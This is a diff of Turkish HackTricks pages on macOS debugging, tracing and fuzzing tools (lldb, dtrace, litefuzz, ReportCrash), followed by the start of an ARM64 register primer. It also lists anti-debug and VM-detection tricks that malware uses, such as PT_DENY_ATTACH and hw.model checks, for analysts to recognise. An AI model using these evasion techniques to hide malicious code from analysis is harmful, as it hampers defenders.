[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor), bir işlemin gerçekleştirdiği işlemlerle ilgili kontrol etmek için çok yararlı bir araçtır (örneğin, bir işlemin hangi yeni işlemleri oluşturduğunu izlemek).
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/), işlemler arasındaki ilişkileri yazdıran bir araçtır.\
Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutla izlemeniz gerekmektedir (bunu başlatan terminalin FDA'ya ihtiyacı vardır). Daha sonra bu araca json dosyasını yükleyerek tüm ilişkileri görüntüleyebilirsiniz:
[**SpriteTree**](https://themittenmac.com/tools/), işlemler arasındaki ilişkileri yazdırmak için bir araçtır.\
Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutla izlemeniz gerekmektedir (bu komutu çalıştırmak için FDA gereklidir). Daha sonra bu araca yükleyebilmek için json'ı bu araca yükleyebilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
@ -447,7 +441,7 @@ Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutl
### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo), Microsoft Sysinternal's _Procmon_ 'dan Windows kullanıcılarının tanıdığı görünüm ve hisse sahip GUI bir araçtır. Bu araç, çeşitli olay türlerinin kaydedilmesine izin verir ve durdurulmasına olanak tanır, bu olayları dosya, işlem, ağ vb. gibi kategorilere göre filtrelemeye olanak tanır ve kaydedilen olayları json formatında kaydetme işlevselliği sağlar.
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo), Microsoft Sysinternals _Procmon_ 'dan Windows kullanıcılarının tanıdığı görünüm ve hisse sahip GUI bir araçtır. Bu araç, çeşitli olay türlerinin kaydedilmesine izin verir ve durdurulmasına olanak tanır, bu olayları dosya, işlem, ağ vb. gibi kategorilere göre filtrelemeye olanak tanır ve kaydedilen olayları json formatında kaydetme işlevselliği sağlar.
### Apple Instruments
@ -464,12 +458,11 @@ fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosya tarafından kullanılan kütüphaneleri, kullandığı dosyaları ve ağ bağlantılarını görmek için faydalıdır.\
Ayrıca ikili işlemleri **virustotal**'a karşı kontrol eder ve ikili hakkında bilgi gösterir.
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html), bir ikili dosya tarafından kullanılan kütüphaneleri, kullandığı dosyaları ve ağ bağlantılarını görmek için faydalıdır. Ayrıca ikili işlemleri **virustotal**'a karşı kontrol eder ve ikili hakkında bilgi gösterir.
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
[**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), **`PT_DENY_ATTACH`** kullanan çalışan bir daemon'ı hata ayıklamanın, SIP devre dışı bırakılmış olsa bile hata ayıklamayı engellemek için nasıl kullanıldığına dair bir örnek bulabilirsiniz.
[**Bu blog yazısında**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), **`PT_DENY_ATTACH`** kullanan çalışan bir daemon'ı hata ayıklamanın nasıl yapıldığına dair bir örnek bulabilirsiniz, hatta SIP devre dışı bırakılmış olsa bile hata ayıklamayı engellemek için kullanılmıştır.
### lldb
@ -485,13 +478,13 @@ Intel lezzetini lldb kullanırken ayarlayabilirsiniz, aşağıdaki satırı içe
settings set target.x86-disassembly-flavor intel
```
{% hint style="warning" %}
lldb içinde, bir işlemi `process save-core` ile dump et.
lldb içinde bir işlemi `process save-core` ile dump et.
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Devam edecek olan yürütme işlemi, bir kırılma noktasına ulaşılana veya işlem sona erene kadar durmadan devam eder.</td></tr><tr><td><strong>continue (c)</strong></td><td>Hata ayıklanan işlemin yürütmesine devam et.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürüt. Bu komut, işlev çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürüt. nexti komutunun aksine, bu komut işlev çağrılarına girer.</td></tr><tr><td><strong>finish (f)</strong></td><td>Geçerli işlevdeki kalan talimatları yürüt ("frame") ve durdur.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklat. Eğer işlem çalıştırıldıysa (r) veya devam ettirildiyse (c), bu işlem işlemi şu anda nerede yürütüyorsa durdurur.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #main fonksiyonu çağrıldığında</p><p>b &#x3C;binname>`main #Belirtilen dosyanın main fonksiyonu</p><p>b set -n main --shlib &#x3C;lib_name> #Belirtilen dosyanın main fonksiyonu</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Kırılma noktası listesi</p><p>br e/dis &#x3C;num> #Kırılma noktasını etkinleştir/devre dışı bırak</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kırılma noktası komutunun yardımını al</p><p>help memory write #Belleğe yazma yardımını al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>Belleği null-terminalli bir dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>Belleği derleme talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>Belleği byte olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre tarafından referans edilen nesneyi yazdıracaktır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Apple'ın Objective-C API'lerinin çoğu veya yöntemleri nesneler döndürür, bu nedenle "print object" (po) komutuyla görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>Belleği oku 0x000....<br>Belleği oku $x0+0xf2a<br>Belleğe yaz 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz<br>Belleğe yaz -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Geçerli işlevi aç</p><p>dis -n &#x3C;funcname> #İşlevi aç</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #İşlevi aç<br>dis -c 6 #6 satırı<br>dis -c 0x100003764 -e 0x100003768 #Bir adresten diğerine kadar<br>dis -p -c 4 #Geçerli adresle başlayarak aç</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg içindeki 3 bileşenli diziyi kontrol et</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Kesinti noktasına ulaşılana veya işlem sona erene kadar devam edecek olan yürütme işlemi başlatılır.</td></tr><tr><td><strong>continue (c)</strong></td><td>Hata ayıklanan işlemin yürütmesine devam eder.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürütür. Bu komut fonksiyon çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürütür. nexti komutunun aksine, bu komut fonksiyon çağrılarına girer.</td></tr><tr><td><strong>finish (f)</strong></td><td>Geçerli fonksiyondaki kalan talimatları ("frame") yürütür ve duraklatır.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklatır. Eğer işlem çalıştırılmışsa (r) veya devam ettirilmişse (c), bu işlemi duraklatır ve bulunduğu yeri belirler.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Main fonksiyonu çağrıldığında</p><p>b &#x3C;binname>`main #Belirtilen dosyanın Main fonksiyonu</p><p>b set -n main --shlib &#x3C;lib_name> #Belirtilen dosyanın Main fonksiyonu</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Kesinti noktası listesi</p><p>br e/dis &#x3C;num> #Kesinti noktasını etkinleştir/devre dışı bırak</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kesinti noktası komutunun yardımını al</p><p>help memory write #Belleğe yazma işlemi hakkında yardım al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>Belleği null karakterle sonlandırılmış bir dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>Belleği derleme talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>Belleği bayt olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre tarafından referans edilen nesneyi yazdırır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Apple'ın Objective-C API'lerinin çoğu nesneler döndürdüğünden, bu nesneler "print object" (po) komutu aracılığıyla görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yazma<br>memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yazma</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Geçerli fonksiyonu derler</p><p>dis -n &#x3C;funcname> #Fonksiyonu derler</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Fonksiyonu derler<br>dis -c 6 #6 satırı derler<br>dis -c 0x100003764 -e 0x100003768 #Bir adresten diğerine kadar<br>dis -p -c 4 #Geçerli adresten başlayarak derlemeye başlar</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg içindeki 3 bileşenli diziyi kontrol et</td></tr></tbody></table>
{% hint style="info" %}
**`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydı **metodun adını** null-terminalli ("C") bir dize olarak tutar. lldb üzerinden adı yazdırmak için:
**`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydı **metodun adını** null karakterle sonlandırılmış ("C") bir dize olarak tutar. lldb üzerinden adı yazdırmak için:
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -507,13 +500,13 @@ lldb içinde, bir işlemi `process save-core` ile dump et.
* **`sysctl hw.model`** komutu, **ana bilgisayar MacOS ise** "Mac" döndürür, farklı bir şey döndürürse bir VM olduğunu gösterir.
* Bazı kötü amaçlı yazılımlar, bir VM olup olmadığını tespit etmek için **`hw.logicalcpu`** ve **`hw.physicalcpu`** değerleriyle oynar.
* Bazı kötü amaçlı yazılımlar, MAC adresine (00:50:56) dayanarak makinenin **VMware** tabanlı olup olmadığını da **tespit edebilir**.
* Bir işlemin hata ayıklanıp ayıklanmadığını kontrol etmek için basit bir kod kullanılabilir:
* Bazı kötü amaçlı yazılımlar, MAC adresine (00:50:56) dayanarak makinenin **VMware** tabanlı olup olmadığını **tespit edebilir**.
* Basit bir kodla **bir işlemin hata ayıklanıp ayıklanmadığını** kontrol etmek de mümkündür:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //hata ayıklanan işlem }`
* Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir hata ayıklamanın eklenmesini ve izlenmesini **engeller**.
* **`sysctl`** veya **`ptrace`** fonksiyonunun **ithal edilip edilmediği** kontrol edilebilir (ancak kötü amaçlı yazılım bunu dinamik olarak da ithal edebilir)
* Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağıyla çağırabilir. Bu, bir hata ayıklamanın eklenmesini ve izlenmesini **engeller**.
* **`sysctl`** veya **`ptrace`** fonksiyonunun **ithal edilip edilmediğini** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak da ithal edebilir)
* Bu yazıda belirtildiği gibi, “[Anti-Hata Ayıklama Tekniklerini Yenme: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Mesaj Process # çıkış yaptı **durum = 45 (0x0000002d)** genellikle hata ayıklama hedefinin **PT\_DENY\_ATTACH** kullandığının açık bir işaretidir_”
“_**Process #** status = 45 (0x0000002d) ile çıktı veren mesaj genellikle hata ayıklama hedefinin **PT\_DENY\_ATTACH** kullandığının açık bir işaretidir_”
## Çekirdek Dökümleri
Çekirdek dökümleri oluşturulur:
@ -524,7 +517,7 @@ lldb içinde, bir işlemi `process save-core` ile dump et.
Bu durumlarda çekirdek dökümleri, genellikle `/cores/core/.%P` dizininde belirtilen `kern.corefile` sysctl'ye göre oluşturulur ve saklanır.
## Fuzzing
## Fazlama
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
@ -532,7 +525,7 @@ ReportCrash, **çöken işlemleri analiz eder ve bir çökme raporunu diske kayd
Kullanıcı başlatma bağlamında çalışan uygulamalar ve diğer işlemler için, ReportCrash, bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizininde kaydeder.\
Daemonlar, sistem başlatma bağlamında çalışan diğer işlemler ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemdeki `/Library/Logs/DiagnosticReports` dizininde kaydeder.
Eğer çökme raporlarının **Apple'a gönderilmesinden endişe duyuyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları bir sunucunun nasıl çöktüğünü **anlamanıza yardımcı olabilir**.
Eğer çökme raporlarının **Apple'a gönderilmesinden endişe duyuyorsanız**, bunları devre dışı bırakabilirsiniz. Aksi takdirde, çökme raporları, bir sunucunun nasıl çöktüğünü **anlamak için faydalı olabilir**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -552,7 +545,7 @@ MacOS'ta fuzzing yaparken Mac'in uyumasına izin vermemek önemlidir:
#### SSH Bağlantısı Kesme
SSH bağlantısı aracılığıyla fuzzing yaparken oturumun gün sonuna gitmediğinden emin olmak önemlidir. Bu nedenle sshd\_config dosyasını aşağıdaki gibi değiştirin:
SSH bağlantısı aracılığıyla fuzzing yaparken oturumun gün içinde gitmeyeceğinden emin olmak önemlidir. Bu nedenle sshd\_config dosyasını aşağıdaki gibi değiştirin:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -563,7 +556,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Dahili İşleyiciler
Belirli bir şema veya protokolü **işleme yetkisine sahip olan uygulamanın hangisi olduğunu bulabileceğiniz** sayfayı kontrol edin:
Belirli bir şema veya protokolü **işleme yetkisine sahip olan uygulamanın hangisi olduğunu nasıl bulabileceğinizi** öğrenmek için aşağıdaki sayfaya göz atın:
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
@ -578,6 +571,8 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
sort -u recv.log > procs.txt
cat procs.txt
```
Veya `netstat` veya `lsof` kullanın
### Libgmalloc
<figure><img src="../../../.gitbook/assets/Pasted Graphic 14.png" alt=""><figcaption></figcaption></figure>
@ -588,7 +583,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
```
{% endcode %}
### Fuzzerlar
### Fuzzers
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
@ -596,9 +591,11 @@ CLI araçları için çalışır
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
MacOS GUI araçları ile "**sadece çalışır"**. Bazı macOS uygulamalarının benzersiz dosya adlarına, doğru uzantıya, dosyaları sandbox'tan okuma gereksinimlerine gibi belirli gereksinimleri olabilir (`~/Library/Containers/com.apple.Safari/Data`)...
macOS GUI araçları ile "**sadece çalışır"**. Bazı macOS uygulamalarının benzersiz dosya adları, doğru uzantılar gibi belirli gereksinimleri olabilir, dosyaları sandbox'tan okuma ihtiyacı olabilir (`~/Library/Containers/com.apple.Safari/Data`)...
Bazı örnekler:
{% code overflow="wrap" %}
```bash
# iBooks
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
@ -642,24 +639,25 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) bir şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **dark-web** destekli bir arama motorudur.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **stealer kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# ARM64v8'e Giriş
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **İstisna Seviyeleri - EL (ARM64v8)**
ARMv8 mimarisinde, ayrıcalık seviyeleri olarak bilinen İstisna Seviyeleri (EL'ler), yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunmaktadır, her biri farklı bir amaca hizmet etmektedir:
ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar dört istisna seviyesi bulunmaktadır ve her biri farklı bir amaca hizmet etmektedir:
1. **EL0 - Kullanıcı Modu**:
* Bu en az ayrıcalıklı seviyedir ve düzenli uygulama kodlarını yürütmek için kullanılır.
* EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, böylece güvenlik ve kararlılık artar.
* EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, bu da güvenliği ve kararlılığı artırır.
2. **EL1 - İşletim Sistemi Çekirdek Modu**:
* Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
* Çoğu işletim sistemi çekirdekleri bu seviyede çalışır.
* EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
3. **EL2 - Hipervizör Modu**:
* Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hipervizör, aynı fiziksel donanım üzerinde çalışan birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
@ -31,41 +32,41 @@ ARMv8 mimarisinde, ayrıcalık seviyeleri olarak bilinen İstisna Seviyeleri (EL
* Bu en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
* EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.).
Bu seviyelerin kullanımı, sistemdeki farklı yönleri yönetmek için yapılandırılmış ve güvenli bir şekilde izin verir. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistem güvenliğini ve sağlamlığını artırır.
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar farklı sistem bileşenlerini yapılandırılmış ve güvenli bir şekilde yönetme olanağı sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır.
## **Registerlar (ARM64v8)**
## **Kayıtlar (ARM64v8)**
ARM64'ün **31 genel amaçlı registerı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64-bit** (8-byte) bir değer saklayabilir. Yalnızca 32-bit değerler gerektiren işlemler için aynı registerlar, `w0` ile `w30` adları kullanılarak 32-bit modunda erişilebilir.
ARM64'ün **31 genel amaçlı kaydı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64 bit** (8 byte) bir değer saklayabilir. Yalnızca 32 bit değerler gerektiren işlemler için aynı kayıtlara `w0` ile `w30` adları kullanılarak 32 bit modunda erişilebilir.
1. **`x0`** ile **`x7`** - Bu genellikle geçici registerlar olarak ve alt programlara parametre geçirme amaçlı kullanılır.
1. **`x0`** ile **`x7`** - Bu genellikle geçici kayıtlar olarak ve alt programlara parametre iletmek için kullanılır.
* **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır.
2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!**
3. **`x9`** ile **`x15`** - Daha fazla geçici registerlar, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Registerları**. Hemen değerler için geçici registerlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır.
* **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrı numarası** olarak kullanılır.
5. **`x18`** - **Platform registerı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü amaçlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde şu anda **çalışan görev yapısına işaret etmek için**.
6. **`x19`** ile **`x28`** - Bunlar çağrıyı yapanın değerlerini koruması gereken çağrı saklanmış registerlardır, bu nedenle bunlar yığında saklanır ve çağrıya geri dönmeden önce kurtarılır.
7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** registerı yığında **saklanır** ve yeni çerçeve işaretçi adresi (**`sp`** adresi) bu registerda **saklanır**.
* Bu register genel amaçlı bir register olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans** olarak kullanılır.
8. **`x30`** veya **`lr`**- **Bağlantı registerı**. Bir `BL` (Branch with Link) veya `BLR` (Register ile Bağlantılı Dal) komutu yürütüldüğünde **dönüş adresini** tutar ve bu registerda **`pc`** değerini saklar.
* Diğer registerlar gibi kullanılabilir.
* Eğer mevcut fonksiyon yeni bir fonksiyon çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda kurtarır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi kurtar ve geri dön).
2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrısı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!**
3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Kayıtları**. Hemen değerler için geçici kayıtlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) sapmaları için de kullanılır.
* **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrısı numarası** olarak kullanılır.
5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde şu anda **çalışan görev yapısına işaret etmek için**.
6. **`x19`** ile **`x28`** - Bunlar çağrılan kaydedilen kayıtlardır. Bir işlev, bu kayıtların değerlerini çağrıcısı için korumalıdır, bu nedenle bunlar yığında saklanır ve çağrıcıya geri dönmeden önce kurtarılır.
